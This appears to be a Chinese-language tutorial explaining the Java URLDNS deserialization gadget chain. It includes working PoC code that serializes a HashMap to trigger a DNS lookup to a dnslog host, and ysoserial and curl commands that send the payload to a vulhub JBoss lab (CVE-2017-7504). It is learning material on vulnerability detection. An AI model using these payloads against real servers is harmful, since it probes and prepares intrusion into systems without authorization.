一、前言

对于进行反序列化漏洞原理的学习,URLDNS这条链比较好理解,对后续学习打个基础,URLDNS也是经常用于验证Java反序列化漏洞是否存在,验证服务主机是否出网等情况,为了后期进一步有效性的利用。让我们开始学习吧!

二、URLDNS利用链复现

2.1 利用链

*   Gadget Chain: *     HashMap.readObject() *       HashMap.putVal() *         HashMap.hash() *           URL.hashCode()

2.2 利用过程

java.util.HashMap实现了Serializable接口,重写了readObject, 在反序列化时会调用hash函数计算key的hashCode,而java.net.URL的hashCode在计算时会调用getHostAddress来解析域名, 从而发出DNS请求。

2.3 利用过程原理详解

我们通过查看HashMap源码我们可以发现,继承Serializable,HashMap是可以进行序列化的,这先满足最基本的要求。

HashMap重写了readObject方法,就可以深入看readObject方法调用了哪些可以利用的点。

readObejct方法会调用putVal(hash(key)),hash传递key值,会执行key的hashCode()方法,所以如果这里传递的是URL对象,就会执行URL对象的hashCode方法。

那我们来看看java.net.URL类的hashCode方法是怎么实现DNS解析的。URL的hashCode会调用getHostAddress,getHostAddress会一步步调用到getAddressesFromNameService方法,循环调用nameService的lookupAllHostAddr方法,直到找到地址,lookup就是进行DNS解析,这样当执行了URL的hashCode方法就会进行DNS请求,就是整个源码调用步骤。

2.4 构造poc


import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;
 
public class main2 {
    public static void main(String[] args) throws MalformedURLException, NoSuchFieldException, IllegalAccessException {
        HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
        URL url = new URL("http://6e4e7cc3.dnslog.store");
 
        Class<? extends URL> aClass = url.getClass();
        // 由于url到的hashCode的值默认为-1,所以我们需要借助反射,修改它的值不为-1,让其在反序列化时不发起请求,在put后再把hashCode的值改为-1,让其在反序列化时能够发起请求,这样就可以确定反序列化漏洞是否存在了。
        Field hashCode = aClass.getDeclaredField("hashCode");
        // 由于hashCode是私有属性,所以需要绕过权限控制检查
        hashCode.setAccessible(true);
        // 设置hashCode的值为1,让其在put的时候不去进行DNS请求
        hashCode.set(url, 1);
        objectObjectHashMap.put(url, 1);
        // put后再把hashCode的值改为-1,让其能够在反序列化时进行DNS请求
        hashCode.set(url, -1);
 
        try {
            FileOutputStream fileOutputStream = new FileOutputStream("urlser.bin");
            ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
            objectOutputStream.writeObject(objectObjectHashMap);
            objectOutputStream.close();
            fileOutputStream.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

这里说明一下为什么要使用反射去修改hashCode的默认值,由于url到的hashCode的值默认为-1,所以我们需要借助反射,修改它的值不为-1,让其在反序列化时不发起请求,在put后再把hashCode的值改为-1,让其在反序列化时能够发起请求,这样就可以确定反序列化漏洞是否存在了。

2.5 反序列化加载poc


import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
 
public class execUrlDns {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        FileInputStream fileInputStream = new FileInputStream("urlser.bin");
        ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
        objectInputStream.readObject();
        objectInputStream.close();
        fileInputStream.close();
    }
}

2.6 URLDNS poc 验证 CVE Java反序列化漏洞

学了这么多原理,怎么运用于实际,这里我用vulhub里的实验环境来验证,用urldns的poc来验证java反序列化漏洞的存在,JBoss 4.x JBossMQ JMS 反序列化漏洞(CVE-2017-7504)

# vulhub官网,使用docker快速搭建实验环境、漏洞复现https://vulhub.org/#/environments/jboss/CVE-2017-7504/
# ysoserial 生成 urldns poc
java  -jar ysoserial-all.jar URLDNS "http://6c06f25b.dnslog.biz." > 2.ser
# 发送poc
curl http://192.168.1.3:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @2.ser --output 1

可以看到dnslog.org平台上已经有dns响应,证明存在java反序列化漏洞,再可以根据漏洞进一步使用cc1远程命令执行进行利用。

免责声明

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本平台和发布者不为此承担任何责任。